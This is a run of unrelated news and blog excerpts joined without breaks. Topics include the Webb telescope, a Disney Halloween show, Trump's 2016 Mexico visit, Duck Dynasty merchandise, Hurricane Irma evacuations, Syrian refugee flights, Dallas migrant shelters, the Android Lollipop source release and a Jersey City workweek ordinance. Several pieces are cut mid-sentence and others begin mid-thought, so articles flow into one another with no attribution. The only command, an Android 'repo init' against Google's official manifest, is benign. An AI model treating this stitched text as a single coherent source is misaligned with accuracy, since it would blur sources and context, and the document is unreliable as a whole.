4. The Webb Telescope’s science instruments will operate at temperatures near absolute zero, the theoretical temperature at which all molecular and atomic motion ceases.
Everything that exists emits infrared radiation, which is produced from the vibration of atoms. The colder something is, the less infrared it emits. Because Webb is designed to work in the infrared, but emits infrared itself, it must be kept as cold as possible to keep its interference with itself at a minimum. Webb’s massive sunshield divides the telescope into a hot side, with temperatures around 185 degrees F, and a cold side, around -388 degrees F, or 40 Kelvin. In contrast, the coldest temperature ever recorded on Earth was -129 degrees F.
5. Planning for the Webb telescope began in 1995. Just five years after Hubble launched, scientists at the Space Telescope Science Institute (STScI) in Baltimore, Md., first envisioned what its successor would look like, knowing it would take many years to bring this vision to fruition. Now the Webb is scheduled to be launched in 2018, and it’s a safe bet that astronomers soon will begin imagining an instrument to extend our vision with a telescope even grander and more powerful than the Webb.
For more information about the ‘scope and its science, visit its web site, or check out STScI on Facebook.
Budgets for NASA and James Webb Space Telescope still undecided
Webb Telescope instrument passes test to withstand space rigorsThe Sanderson sisters are back! During this year’s celebration of Mickey’s Not-So-Scary Halloween at Disney’s Magic Kingdom theme park, visitors will be treated to an all new stage show based on the 1993 classic Hocus Pocus. Enjoy the video with the show’s director Denise Case below:
“Winifred, Mary and Sarah visit the mortal world for an all-new adventure, with a plan to use their magic to throw the best, evil Halloween party this side of the graveyard. To cast their spell on the kingdom, they proceed to conjure the ultimate Hocus Pocus Party Potion, requiring sinister shadows, nefarious nightmares and the powers of frightful friends. And who would be friends with such mischievous witches? The Disney villains, of course! The sisters soon find themselves in the company of everyone from Dr. Facilier and Oogie Boogie to Maleficent, Jafar, Captain Hook, Lady Tremaine and more!” (Disney).
Someone has kindly uploaded the full show to Youtube. The finale is one you won’t want to miss:
How badly do you want to attend this year’s Disney Halloween celebration? Are you happy the sisters are back in action? Leave your thoughts below!Syracuse, N.Y. — Questions surrounding a class that Moustapha Diagne took in Senegal before coming to the United States three years ago have put the Syracuse recruit in limbo, according to a report.
On Thursday, Syracuse University officials announced that Diagne, a 6-foot-9, 240-pound freshman from Sparta, N.J., would enroll in a two-year school instead of coming to Syracuse this year.
Jason Hasson, Diagne's coach at Pope John XXIII High School in Sparta, N.J., told the New Jersey Herald that the NCAA has not ruled Diagne ineligible.
According to Hasson, the NCAA is still in the process of determining Diagne's eligibility because of an issue with a course that the native of Senegal took in his home country before coming to the United States in 2012.
"It had nothing to do with his Pope John transcript; he did very well at Pope John, he was a very good student," Hasson told the New Jersey Herald. "It was just a question
about a class he took over there (in Senegal). One single class."
Hasson said the decision to enroll in a two-year school was necessary because Diagne's student visa required him to be enrolled in a college by Aug. 20. Diagne has been in Senegal, visiting family for the first time since he left his home. He needed to enroll in a college in order to return to the United States.
"He needed to accept a visa from a junior college (Thursday)," Hasson told the newspaper. "So, that was the way we went."
The loss of Diagne leaves Syracuse with just 10 scholarship players and only nine eligible to play during the 2015-16 season. Diagne, who led Pope John to the Tournament of Champions final this past season while averaging 14.7 points and 12.0 rebounds, was expected to provide depth at both center and power forward.Presidential candidate Donald Trump is headed to Mexico Wednesday to discuss immigration and border security with the nation’s president.
But the man who previously ran the country, Vicente Fox, calls the Republican nominee’s visit a “political stunt” and says Trump is “not welcome.”
“He is not welcome to Mexico. By 130 million people, we don’t like him. We don’t want him. We reject his message,” Fox told CNN’s “New Day” this morning.
“I don’t understand why President Nieto has offered this opportunity.”
Fox said Trump’s visit was “nothing more than a political stunt” designed “to boost his sinking poll numbers,” and added the candidate is unfit for the office.
“This guy is not up to be a president. He is not presidential. He doesn’t look presidential. He doesn’t know how to run a nation. He doesn’t even know how to run a business,” Fox said.
Trump seemed taken aback by the Mexican president’s response today, saying on Twitter that Fox had previously invited him to visit after apologizing for using “the ‘f bomb.’”
Former President Vicente Fox, who is railing against my visit to Mexico today, also invited me when he apologized for using the "f bomb." — Donald J. Trump (@realDonaldTrump) August 31, 2016
Earlier this year Fox responded to Trump’s proposal to build a wall on the US border with Mexico – and have Mexico pay for it – by vulgarly refusing to do so.
“I’m not going to pay for that fucking wall! He should pay for it. He’s got the money,” Fox said.
Following the outburst, Trump then asked for an apology from the former president – and got one, along with an invitation to visit Mexico.
FMR PRES of Mexico, Vicente Fox horribly used the F word when discussing the wall. He must apologize! If I did that there would be a uproar! — Donald J. Trump (@realDonaldTrump) February 25, 2016
Speaking exclusively with Breitbart, Fox apologized.
“I apologize. Forgiveness is one of the greatest qualities that human beings have, is the quality of a compassionate leader. You have to be humble. You have to be compassionate. You have to love thy neighbor,” he said.
“I don’t think he should follow the strategy of attacking others, offending others, to get to his purpose. There are other ways and means of doing it,” Fox stated. “I invite him to come to Mexico and to see what Mexico is all about.”
Now the Mexican president says Trump is lying – and that his original invitation to visit Mexico was under the condition that Trump “apologize to all Mexicans.”New Yorkers took to Twitter on Friday to post photos and videos of Melissa McCarthy in full Sean Spicer attire, riding through the streets of Manhattan on a motorized podium.
The actress donned the costume one day before she’s set to host Saturday’s episode of “Saturday Night Live” to film a segment for the show.
To preview her appearance, “Saturday Night Live” posted an ad Wednesday showing McCarthy transforming into the White House press secretary while lip-syncing “I Feel Pretty.”
See Video: 'SNL': Melissa McCarthy's Spicer Returns in Easter Bunny Costume to Tell the Story of Passover
Dwayne “The Rock” Johnson is set to close out this season of “SNL” on May 20. For the last two episodes, “SNL” will go live for all four time zones. That means it’ll start at 11:30 p.m. for Eastern viewers, 10:30 p.m. for Central, 9:30 p.m. for Mountain and 8:30 p.m. for Pacific. The show will re-air at its regular 11:30 p.m. time slot for Mountain and Pacific viewers who don’t want to change their schedules.
“SNL” has seen a huge ratings boost this year, thanks largely to sketches about Donald Trump and breakout moments like McCarthy’s hilarious turns as Spicer. NBC says the idea of changing the air time for the last episodes is so that “everyone |
which it is advocated, at least in adults.
That said I'm still going to have my bowl of breakfast cereal.
It is a good start to the day for me personally otherwise I'm distractingly hungry. I might even try chucking in a bit of extra fruit.
Follow James on Twitter.Duck Dynasty's $400m empire booms despite gay sex row: Walmart SELLS OUT of show merchandise as fans flock to support Phil
MailOnline can reveal a show publicist did accompany Phil Robertson to interview - but was NOT there when made his dam ning homophobic comments to GQ magazine
However, sources say Phil made similar comments 'throughout interview' so A&E WOULD have been fully aware of the general tone of the interview
Robertson family are sticking by patriach Phil - and are refusing to film TV hit without him
As the future of their show lies in doubt, the Duck Dynasty clan are still making millions thanks to their megabucks Walmart merchandising deal, MailOnline can today reveal.
The Robertson family has a merchandise empire that is estimated by Forbes to be worth about $400million - and their deal with Walmart makes up around half of this.
And today, as Walmart refused to comment on the future of their relationship with the TV family, just one glimpse at the chainstore's website shows fans are flocking to buy Duck Dynasty merchandise amid the furor over patriach Phil Robertson's homophobic comments.
Meanwhile, MailOnline can reveal a publicist from A&E DID accompany Phil to his interview with GQ magazine -but was NOT there when he made his incendiary comments.
Off air: A&E network have suspended Duck Dynasty patriach Phill Robertson from the hit show following his homophobic comments in GQ magazine
Best Seller: Duck Dynasty products have sold out on the Walmart website following Phil Robertson's explosive comments
Out of stock: Walmart has a multi-million merchandising deal with A&E networks for Duck Dynasty. It's believed to be worth nearly half their $400million merchandising empire
Walmarts sells a huge array of Duck Dynasty merchandise- from T-shirts to camo bedding, posters, watches, toy trucks, camo chairs, clothing, jewellery and even bottle openers. Today, as Phil Robertson's close-knit family insisted they would not film the hit A&E show without him following his suspension by the network, fans tweeted they were rushing to Walmart. However, others pointed out that this support merely puts more money into A&E's pockets as well, with one tweeting: 'Loving that Tea People are rushing to Walmart to Duck Dynasty swag in protest of A& who OWNS the merchandising.' Another added: 'I better rush off to Walmart and buy up all the Phil Robertson merchandise 'cuz it's gonna be a collectors item one day.' Another tweet read: 'Your stores may look quite vacant when you pull down the Duck Dynasty merch. May want to double down on the Honey Boo Boo.' A Walmart spokeswoman declined to comment.
Family support: The Robertson clan have threatened to quit the hit-rated show. In a statement, they said: 'As a family, we cannot imagine the show going forward without our patriarch at the helm'
Close-knit: Phil Robertson and his wife Kay have spawned the Duck Dynasty clan that have made A&E network millions
Empire: Walmart sells everything you can think of for Duck Dynasty fans - from bedspreads to watches and bottle openers
Walmart announced at their annual shareholders meeting that the best-selling item of apparel for both men and women this year was the reality show's T-shirt, according to Forbes.
Forbes writer Claire O'Connor said: 'When I was down in Arkansas for this Walmart meeting, you really do marvel at the amount of people who are wearing these Duck Dynasty T-shirts and hats.
'There are kids pajamas, there is camo bedding and you probably won't be surprised to hear that they sell Duck Dynasty prayer devotionals.'
This also includes the No. 1 country album on Billboard for the month of November, Duck the Halls.
She added that even though Walmart had dumped Paula Deen over her racism row, it was'still early' with regards to Duck Dynasty, saying: 'I think for this demographic, anti-gay rhetoric is not considered as much of a huge sin as racism.
'The ball is in Walmart's court. They are going to have to make some sort of decision on this. The only way this retail empire will be at stake is if Walmart decides they are not going to sell these items anymore and I really cannot see that happening. Other smaller brands will probably wait for Walmart to take the lead on this.'
Meanwhile, a source revealed a publicist from Duck Dynasty was there when Phil was interviewed for the January issue of GQ.
Support: Fans are still buying Duck Dynasty merchandise
Collectors: Fans joked about snapping up Duck Dynasty gear
Jokes: Walmart's deal with the Robertson clan is said to be worth nearly half their $400million merchandising haul
However, the interview took place in several locations and the publicist did not accompany the GQ journalist and Phil when they went for a ride on ATVs.
The source said: 'A&E sent a publicist for the duration of the interview, but she was not there for the 'anus v vagina' comment. But to be honest, Phil was making similar comments throughout the interview and it's not like he wouldn't have said it in front of her.
'It was just that they were riding ATVs and the publicist was not there for that specific moment.'
This means that A&E would have been aware of the sentiment of Phil's interview - and could have been pre-warned of the scandal that erupted when he called being gay a sin, adding: 'It seems like, to me, a vagina -- as a man -- would be more desirable than a man’s anus.
'That’s just me. I’m just thinking: There’s more there! She’s got more to offer. I mean, come on, dudes! You know what I’m saying? But hey, sin: It’s not logical, my man. It’s just not logical.'
As A&E today remained quiet, it was reported the network still plans to make hay from the show.
TMZ reported that Duck Dynasty is taking over A&E's Christmas schedule. The network will air four separate rerun marathons of the show in four days - from December 22 until 25, totalling 33.5 hours of airtime.
Following Phil's suspension from the program, the Robertson family released a statement reading: 'We want to thank all of you for your prayers and support. The family has spent much time in prayer since learning of A&E's decision.
'We want you to know that first and foremost we are a family rooted in our faith in God and our belief that the Bible is His word. While some of Phil’s unfiltered comments to the reporter were coarse, his beliefs are grounded in the teachings of the Bible. Phil is a Godly man who follows what the Bible says are the greatest commandments: “Love the Lord your God with all your heart” and “Love your neighbor as yourself.”
Prayers: Willie Robertson's daughter Sadie tweeted her thanks
Phil would never incite or encourage hate. We are disappointed that Phil has been placed on hiatus for expressing his faith, which is his constitutionally protected right.
'We have had a successful working relationship with A&E but, as a family, we cannot imagine the show going forward without our patriarch at the helm. We are in discussions with A&E to see what that means for the future of Duck Dynasty. Again, thank you for your continued support of our family.' And Phil remains backed by his family, with his grandson John Luke - son of Willie - tweeting: 'What has this country come to? Unbelievable.' As his sister added: 'Thank you for all the prayers. It means a lot to the family.' Brother: Sadie's brother John Luke said his grandfather's suspension was 'unbelievable'Florida officials urged residents in flood-prone coastal communities to get out while they can, ordering evacuations in the face of oncoming Hurricane Irma, which could make landfall Sunday and inflict massive destruction not seen in the state since Hurricane Andrew in 1992.
Hurricanes have lashed South Florida many times, but officials here at the National Hurricane Center said this is shaping up as a once-in-a-generation storm. Forecasters adjusted their advisory late Thursday, projecting Irma to hit the tip of the peninsula, slamming the population centers of South Florida before grinding northward. Hurricane warnings were issued Thursday night for South Florida, with the hurricane center warning that "severe hurricane conditions are expected over portions of the Florida peninsula and the Florida Keys beginning late Saturday."
"This storm has the potential to catastrophically devastate our state," Gov. Rick Scott (R) said in a late-day news briefing. Earlier, he implored people to evacuate. "If you live in any evacuation zones and you're still at home, leave."
[Category 5 Irma stays on perilous path toward Florida]
The state's highways were jammed, gas was scarce, airports were packed and mandatory evacuations began to roll out as the first official hurricane watches were issued for the region. Irma, which has been ravaging the Caribbean islands as it sweeps across the Atlantic, is expected to hit the Florida peninsula with massive storm surges and crippling winds that could affect nearly every metropolitan area in South Florida.
The hurricane center said Thursday afternoon that should Irma's eye move through the center of the state, extreme winds and heavy rains could strafe an area that has millions of residents, from Miami in the east to Naples on the Gulf Coast. Because the eastern side of the storm is the most powerful, numerous cities along the east coast could face extreme conditions.
Miami-Dade County ordered some mandatory evacuations, including for Key Biscayne and Miami Beach, as well as for areas in the southern half of the county that are not protected by barrier islands.
"EVACUATE Miami Beach!" Miami Beach Mayor Philip Levine tweeted, later noting in a news release that once winds top 40 mph, first responders will no longer be dispatched on rescue missions here.
Broward County Mayor Barbara Sharief said evacuations in coastal areas were slated for Thursday. Lee County, on the Gulf Coast, announced Thursday afternoon that all the barrier islands — Sanibel, Captiva, Pine Island, Bonita Beach and Fort Myers Beach — will be under mandatory evacuation orders Friday.
Scott on Thursday night ordered that all state offices, public schools, state colleges and state universities be shut down from Friday through Monday "to ensure we have every space available for sheltering and staging."
Scott has declared a statewide emergency and warned that in addition to potentially forcing large-scale evacuations, Irma could batter areas that last year were flooded by Hurricane Matthew. States of emergency also were declared in Georgia, South Carolina and North Carolina. On Thursday, Georgia Gov. Nathan Deal (R) expanded his declaration from six coastal counties to 30 total counties, issuing a mandatory evacuation for some areas.
[Live updates: Hurricane Irma]
Residents in Savannah, Ga., and Charleston, S.C., began to barricade their homes and flee the coast Thursday. Gov. Henry McMaster (R) warned South Carolinians that a mandatory evacuation of the state's coastline will probably come Saturday morning at 10 a.m. Such an evacuation would come with a reversal of all eastbound lanes of four major roadways, including Interstate 26, which would be converted for a westbound escape from Charleston to Columbia.
Irma on Thursday remained a Category 5 storm, with 175 mph sustained maximum winds, and it is a big storm, with hurricane-force winds extending 60 miles from its center. If the eye does not make landfall, many of the people who haven't evacuated from South Florida could find themselves in hurricane conditions anyway, forecasters say.
Residents are closely watching "the spaghetti" — the dozens of computer models showing possible storm tracks, which vary widely. Computer models say that by Sunday, Irma will make a hard right turn, heading due north into Florida.
The timing of that turn will make all the difference.
If sooner, the storm's center could stay offshore, between Miami and the Bahamas. If later, it could blow through the Florida Keys and come up the southwest side of Florida. Or it could find a middle path straight up through the Everglades and the central spine of the peninsula.
"The wild card here is the turn. Anytime a hurricane makes a turn, it introduces uncertainty," Mark DeMaria, acting deputy director of the National Hurricane Center in Miami, told The Washington Post in the center's headquarters in west Miami-Dade County. DeMaria noted that the computer models have fluctuated modestly, with adjustments in the consensus track of 50 miles or so every day. "But 50 miles onshore versus right of the coast makes a huge difference in impact," he said.
The combination of Florida's geography, the pattern of urban settlement in narrow bands along the coasts and the projected northerly path of the hurricane presents a particularly ominous picture.
"This is a large storm coming from the south," said Dennis Feltgen, spokesman for the hurricane center. "That's the worst-case scenario, because it takes in the entire Gold Coast population, and you have the greatest impact from storm surge from that direction."
Irma's sustained winds were the strongest recorded for an Atlantic hurricane making landfall, tied with the 1935 Florida Keys hurricane.
"Look at the size of this storm," Scott said. "It's powerful and deadly."
Many Floridians were heeding warnings to escape but found themselves sitting in bumper-to-bumper traffic in an effort to reach points north.
A little after 10 a.m. at the National Hotel on Miami Beach, a manager announced in four languages — English, Spanish, Portuguese and French — that guests needed to evacuate because of a city order. At the front desk, guests were given a sheet listing the locations of emergency shelters, none of which were likely to be as nice as the beachfront Art Deco hotel, which was restored a few years ago.
"This morning as I walked to work, I could see the things that could become projectiles," said Natalya Garus, 35, lead concierge at the National. "Street signs. Coconuts. All the trash cans. Smoking stations. All the decorations."
As she spoke, workers used a ladder to dismantle a decorative light fixture hanging over the hotel entrance.
Ruben Vandebosch, 28, and Wim Marten, 26, both of Belgium, and Jim Van Es, 24, of the Netherlands, said their plan is to drive to Atlanta.
"Atlanta has a nice ring to it," Vandebosch said. "It sounds cool."
Among those evacuating: Forty dogs from the Miami-Dade County animal shelter. They're being flown to New York on a private plane owned by a dog lover named Georgina Bloomberg, according to Lauree Simmons, president and founder of the Big Dog Rescue shelter in Loxahatchee, Fla.
Big Dog staff went to Houston after Hurricane Harvey, rescuing 60 dogs from the floodwaters. Those dogs are awaiting adoption at the no-kill shelter. Simmons's 33-acre rescue center has 457 dogs and puppies living in air-conditioned bunkhouses. Staff members were working frenetically Thursday packing up the contents of offices trailers. The dog bunkhouses, meanwhile, are fitted with hurricane impact glass built to withstand 200-mile-an-hour winds, Simmons said.
"The dogs will be very comfortable," she said. "We'll stay here with them through the storm and just keep hoping for the best."
Lauren Jackowiec, adoptions manager for the Jacksonville, Fla., Humane Society, loads crates of cats into the Humane Society's van for an evacuation trip to Sarasota, Fla., on Thursday. (Bob Self/AP)
Popular shopping and dining areas of Fort Lauderdale, north of Miami, were nearly completely empty, the businesses buttoned up with metal curtains and new plywood protecting their front windows.
At the Coral Ridge Yacht Club on the Intracoastal Waterway, General Manager Jay Wallace and Greg Bennett, the club's president, were walking up and down its docks making sure all the vessels, including some 90- and 100-footers valued at $2 million or more, were securely tied down. The club decided Tuesday to cease regular operations — meetings, lunch, dinner and a popular Wednesday happy hour — so that many employees would have time to evacuate.
"Just making sure everything is okay," Wallace said. "We're hoping for the best, but preparing for the worst. You have to."
Less than a mile away, Fort Lauderdale's mostly spotless sandy beaches were virtually deserted, despite the green flags attached to all its lifeguard stands indicating "low hazard" for anyone wanting to take a dip in the ocean. The water was dead calm, not a wave in sight, and the shimmering sand was desolate on a postcard 90-degree day.
In Orlando, four Stetson University students prepared to fly out of town on cheap tickets bought Monday, before prices skyrocketed and seats vanished. One of the students, Draven Shean, is a freshman who has been at school for three weeks and is heading home to Houston, where his family had evacuated in advance of Hurricane Harvey.
"I keep making this joke that God keeps sending hurricanes after me," said Shean, who was wearing a long-sleeved gray shirt with black block letters that said "EVAC." He picked it up two days ago at a thrift store. "I thought it was appropriate."
Others were preparing to ride out the storm. Some were fully prepared, others seemed to have only a vague plan, or none at all.
Shelves that once held bottled water are empty as the city prepares for approaching Hurricane Irma. (Mark Wilson/Getty Images)
At a Costco in Naples, in southwest Florida, almost every morning shopper left the store with a flat or two of bottled water. At Costco's gas station, vehicles jammed the six lanes for fuel. Several customers said the 24 cars waiting at 11 a.m. were nothing compared with the lines during the past two days. Some customers were on their third or fourth gas station seeking to fill up.
"As soon as they said you should consider evacuating, things got way worse," said Michelle Anderson, who was waiting for gas in her Volvo. "I'm from Southern California, where earthquakes get you at random, so the fact that you have the ability to prepare for this is pretty awesome."
Vicki Sargent, a Florida resident since 2003, lives in an RV park in Venice and had driven miles in search of gas Thursday. She said she has to ride out the storm because she takes care of about 70 units owned by people gone for the summer. She won't stay in her own trailer, though.
"Only a fool would do that," she said, saying she'll stay with a friend. "I'm more worried about flooding than the hurricane. We have had rain and were about at saturation point."
Tatiana Wood, 33, a waitress at a restaurant in Miami Beach's Lincoln Road Mall, said she has a friend of a friend who lives in Oklahoma, but she was unclear of the distance or whether she would try to get there.
"If you try to escape, you may lose money," Wood said. "If you stay, you might lose your life."
The National Hurricane Center's acting director, Ed Rappaport, is seen during a televised interview at the National Weather Service's facility in Miami, where they track and predict Hurricane Irma's advance. (Andrew Innerarity/For The Washington Post)
Read more: The latest forecast from Capital Weather Gang
It’s not a Category 6: Debunking viral myths about Irma
Dispatch from Key West: Preparing for Irma’s wrath
Sullivan reported from Naples, Fla., and Berman reported from Washington. Kimberly Kindy in Orlando, Lori Rozsa in Palm Beach County, Dustin Waters in Charleston, S.C., and Leonard Shapiro and Perry Stein in Fort Lauderdale contributed to this report.BAGHDAD - In days gone by, it was pretty much guaranteed that any demonstration in the Arab world would feature burning American flags and a blazing effigy or two of the U.S. president.
At the pro-democracy demonstrations on the streets of Cairo and elsewhere, references to the United States have been conspicuously absent, a sign of what some analysts are already calling a "post-American Middle East" of diminished U.S. influence and far greater uncertainty about America's role.
For just as burning flags are not part of the current repertoire, neither are demonstrators carrying around models of the Statue of Liberty, as Chinese activists brought to Tiananmen Square in 1989. Middle East activists say they avoid references to the United States as a political role model for fear of alienating potential supporters, said Toujan Faisal, a veteran democracy campaigner in Jordan who has been advising young protesters in the Jordanian capital, Amman.
"I don't think America appeals to the younger generation," she said. "I'm cautious not to present them with the American example because there's a negative attitude to America, a disappointment."
No one yet knows what kind of Middle East will emerge from Cairo's embattled streets: a newly democratic one, an increasingly radicalized one, or perhaps one in which authoritarian regimes tighten their grip. Events in Cairo are unfolding too rapidly to predict, but one possible outcome could be a more visibly anti-American drift.
Still, it is notable that even the most rabid protests against President Hosni Mubarak have focused on his reign, rather than on the American role in enabling it.
Reform of a particular sort could actually bolster U.S. interests if it allows more open commerce and development of a strong middle class in societies often split today between a connected rich and a dispossessed poor.
Yet America's role could also be greatly diminished in an area that remains vital to its national interests, but where the perception has grown of a superpower with few friends beyond Israel and a coterie of authoritarian Arab rulers.
The Obama administration's initial, tepid response to the crisis, with Secretary of State Hillary Rodham Clinton calling Mubarak's regime "stable" and Vice President Biden declaring that he didn't regard Mubarak as a dictator, did little to endear Washington to a region that has long yearned for political reform.
President Obama has since adopted a tougher stance, but his language has not gone far enough to convince Arabs puzzled by America's seeming inability to embrace a revolt that they think coincides with America's own ideals, said Shadi Hamid, director of research at the Brookings Doha Center in Qatar.
"No one in the region is pro-American anymore. The only hope is if Obama uses this opportunity to re-orientate U.S. policy in a fundamental way,'' he said. "Otherwise, I think we're losing the Arab world."
The trend became apparent well before Tunisians toppled their U.S.-backed dictator on Jan. 14, inspiring Egyptians to try to oust Mubarak and triggering waves of unrest in Jordan and Yemen.A local charter airline is offering to fly Syrian refugees to Canada, saying it’s critical the community step up and help victims of war escape danger.
Enerjet, Canada’s youngest charter airline based in Calgary, has contacted federal immigration officials in hopes of using both of its Boeing 737, 148-seater planes to bring refugees here.
“We are aware of the government’s promise to relocate 25,000 refugees, and we know that will involve an incredible amount of travel,” said Darcy Morgan, chief commercial officer with Enerjet.
“We can fly anywhere in the world, and we know it’s important to do the right thing.
“These are innocent people who are victims of war and terror, and they deserve to leave and lead an innocent life.”
Prime Minister Justin Trudeau, enroute to Manila Tuesday for the Asia-Pacific Economic Co-operation summit, reiterated his promise to accept 25,000 Syrian refugees in the next six weeks, even after some provincial and municipal leaders said they were worried about speed taking priority over security.
“It didn’t take the tragedy in Paris for us to suddenly realize that security’s important,” Trudeau said. “We’ve known for a long time, and we continue to be very much committed to keeping Canadians safe while we do the right thing to engage responsibly on this humanitarian crisis.”
While Saskatchewan premier Brad Wall called for a suspension of the Liberal plan, worried that terrorists might sneak into the country, Alberta Premier Rachel Notley disagreed, emphasizing this province could take 2,500 to 3,000 Syrian refugees.
New security concerns are being raised around accepting refugees after terrorist attacks in Paris last Friday killed 129 people and injured another 350 at several locations including bars, restaurants, a concert hall and the national stadium.
European officials have only confirmed that suspects identified so far are French and Belgium nationals, and Morgan stressed that those who are critical of helping refugees need to seek out better information.
“I understand that in the absence of facts and knowledge, fear can displace common sense. Fear can be a mighty motivator,” he said.
“But I’m confident that once these people get more information and facts, the fear will be displaced.”
Morgan said while he waits for word back from federal immigration on the offer he made about a week ago, he spoke with newly elected Calgary Liberal MP Kent Hehr about the idea.
Hehr, who is Minister of Veterans Affairs and does not deal directly with immigration, said he is confident the federal government is looking closely at the Enerjet offer.
“We’re assessing all our options to get Syrian refugees into Canada, and speed up getting people here safely.
“It is our obligation as Canadians to help out. And it’s a great thing that a Calgary company has stepped up like this.”
eferguson@calgaryherald.com
(With files from the Ottawa Citizen)Honduran migrants deported from the United States walk on a tarmac of Toncontin Airport in Tegucigalpa (AFP)
By Lisa Maria Garza
DALLAS (Reuters) – Images of protesters trying to stop buses loaded with illegal immigrants may dominate the news, but in the heart of Texas, one county judge is taking on friends and foes by trying to find shelter for child migrants flooding across the U.S. border.
Dallas Judge Clay Jenkins, 50, offered federal authorities empty buildings to house 2,000 children from Central America in a risky political move as he faces re-election in November for the top political office in Dallas County.
“These children need our help now. If I lose an election over this, so be it,” said Jenkins, who has offered the use of two empty schools and a warehouse and has the unilateral power to do so under the way the county commission operates.
His proposal is in stark contrast to Texas governor Rick Perry’s tough stance on the recent influx of tens of thousands of illegal migrants, many of them children, fleeing violence in Honduras, Guatemala and El Salvador. Perry has ordered the deployment of National Guard troops to the border with Mexico.
While Perry and fellow Republican U.S. Senator Ted Cruz have called for compassion for the children, Jenkins is one of the few politicians in the state to offer up a plan to help them.
In other parts of the United States, a few major Democrat-led cities such as Los Angeles and Syracuse, New York have raised their hand to help, but the plan from Dallas County stands out in a state that is a Republican stronghold.
Underscoring the divisiveness of the border issue in Texas, especially in an election year, Jenkins’ proposal is opposed by a fellow Democrat, Eric Williams, who is running for Congress. Williams says the buildings earmarked for shelters are in poor communities with high unemployment rates.
“He’s taken a federal problem and he’s turned it into a Dallas County problem,” said Mike Cantrell, a Republican Dallas County commissioner who also opposes the plan. The county commission is dominated by Democrats.
If federal authorities agree to fund the plan and approve the use of the facilities, Dallas County would become home to one of the largest contingents of “unaccompanied minors” from Central America, who have mostly been held at military bases to avoid opposition from local governments.
MIGRANT SURGE SPARKS BACKLASH
During the nine months ending June 30, more than 57,000 children were detained at the U.S.-Mexico border, according to U.S. government data.
The surge of migrants has inundated authorities in Texas, and created a backlash in places like Murrieta, California, and Oracle, Arizona, where some migrants were to be sent for processing at overflow centers.
The protesters say the children are straining U.S. finances and diverting attention from Border Patrol efforts to intercept criminal cartels who are smuggling drugs across the border.
They also see the children as bringing disease, ramping up crime and creating long term financial harm by joining welfare roles, claims hotly disputed by immigration rights activists.
Local governments in places such as Kaufman County, which borders Dallas, say they will oppose any attempt by federal authorities to house the children in their areas.
“None of us want to be harmful to kids. That’s not what we are about as a county, but on the other hand we want to make sure that the children we have here and the citizens that we have living in our county are protected as well,” Kaufman County Judge Bruce Wood told broadcaster WFAA-TV.
Jenkins strongly disagrees.
“We don’t have to solve the border crisis to show compassion to scared children who are alone,” Jenkins told Reuters.
While there has been no major polling done for the Dallas race, Jenkins has a huge lead in fundraising against his Republican opponent, taking in about 11 times more money, according to campaign finances data compiled by the Dallas Morning News.
His plan has united religious leaders in the county, who have used sermons to try to sway sometimes skeptical parishioners. But it has also created a backlash among some who see it as a foolhardy idea that will cause harm to the region.
“We are setting the welfare of others outside our nation above our own citizens, who should be No. 1 and first in line to receive benefits,” wrote Eric Hansen in the Dallas Morning News.
On a recent July day, Jenkins went door-to-door in the surrounding neighborhoods of the proposed shelters and said he was “overwhelmed” by the positive response from residents after explaining the federal government would be footing the bill and that the migrant children would not be wandering around.
“To tell these children that no one cares, and you must go home without due process, that’s not only immoral, un-Godly, unkind, un-feeling, un-Texas, unforgivable – we will be judged,” Dallas resident Eulaine Hall said at a Dallas County Commissioners meeting in early July.
(Additional reporting by Alex Dobuzinskis; Writing by Jon Herskovitz, editing by Ross Colvin)Android 5.0 Lollipop Source Fully Available to Build
After many long hours of waiting, Google has finally finished pushing the full Android Lollipop source code to their Git mirror. Surprisingly, there are two revisions available already: 5.0.0_r1 for Nexus 9 and 5.0.0_r2 for Nexus Player. Get your terminals ready; there’s a lot of of repo syncing to do.
Google started to push the sources yesterday, but the whole process took them a little longer than most would have hoped. Android 5.0 is a big release, so there are lots of new repositories that needed to be added. If you can’t wait for Google to release the refreshed factory images and binaries, you can build the OS by yourself–albeit with older driver binaries. All you need to do is execute the following command in the Terminal window of your PC or build machine:
repo init -u https://android.googlesource.com/platform/manifest -b android-5.0.0_r1
The sync process might take a long time, since you will have to download many gigabytes of data. And of course, the estimated time of arrival may vary due to factors like your connection speed and congestion. Soon, we will see numerous custom ROM based on Android 5.0 Lollipop, such as all the large-scale multi-device custom ROMs that we’ve all grown to love.
The exact release date for the Nexus device factory images is still unknown. But hopefully, we will see them start to appear in the next few days or weeks. Meanwhile, go to syncing and code reviewing!JERSEY CITY -- Some private employers would be required to provide a minimum 30-hour workweek to their janitors, security guards, maids and other workers under a measure up for initial approval by the City Council tomorrow.
The proposal, which would apply to employers in buildings larger than 100,000 square feet and to residential buildings with more than 50 units, is being touted by labor union 32BJ as the first of its kind in the nation. Connecticut lawmakers and the Washington, D.C., Council are considering similar mandates.
Council President Rolando Lavarro, who is behind the measure, called it "progressive legislation" that represents a "paradigm shift on how we think about work."
"We should be striving for better jobs that are family-supporting type jobs," Lavarro told The Jersey Journal.
Aside from increasing workers' hours, the measure would also lead to more workers with health insurance. The federal Affordable Care Act requires large employers provide health insurance to employees working 30 hours or more a week, or else the companies could be hit with financial penalties.
The measure -- 32BJ dubs it the "Better Jobs Act" -- is the latest in a series of initiatives aimed at low-wage workers and proposed by Mayor Steve Fulop's administration. A related ordinance up for approval tomorrow would require the same employers give building-service workers 90 days notice if they plan to cancel their contract.
READ BOTH MEASURES
In 2013, the council approved his plan to require most private employers provide paid sick leave to their employees, a move that was subsequently replicated by nearly a dozen municipalities in New Jersey. Last year, the council OK'd a law that revokes city licenses from employers who do not reimburse workers for lost wages. Last month, Fulop signed an executive order raising the minimum wage for full-time city employees to $15 an hour.
Desiree Taylor, spokeswoman for 32BJ, the largest union of property service workers in the United States, said the city's proposal is "sorely needed" for low-wage workers who struggle to find full-time employment.
"If you only work 20 hours per week at $15 per hour, that's only about $15,000 per year," Taylor told The Jersey Journal. "You can't pay your bills on that salary in NJ, one of the most expensive states in the nation."
An affiliate of the Service Employees International Union, 32BJ's members include janitors, doormen, security workers -- the very workers whose workweeks would be set at a minimum of 30 hours a week by the measure up for approval tomorrow. One of them, Sonia Elgueta, a Jersey City woman in her 50s, is a cleaner of commercial buildings who said she typically works 25 hours a week at $15.40 an hour.
Though a translator -- Elgueta speaks Spanish -- she said she works at night but is seeking another part-time job during the day to help pay her bills. Her $20,020 annual pay would rise by $4,000 if she worked a minimum of 30 hours a week, and as much as $12,000 a year if she worked 40 hours a week.
"That would be really helpful," she said.
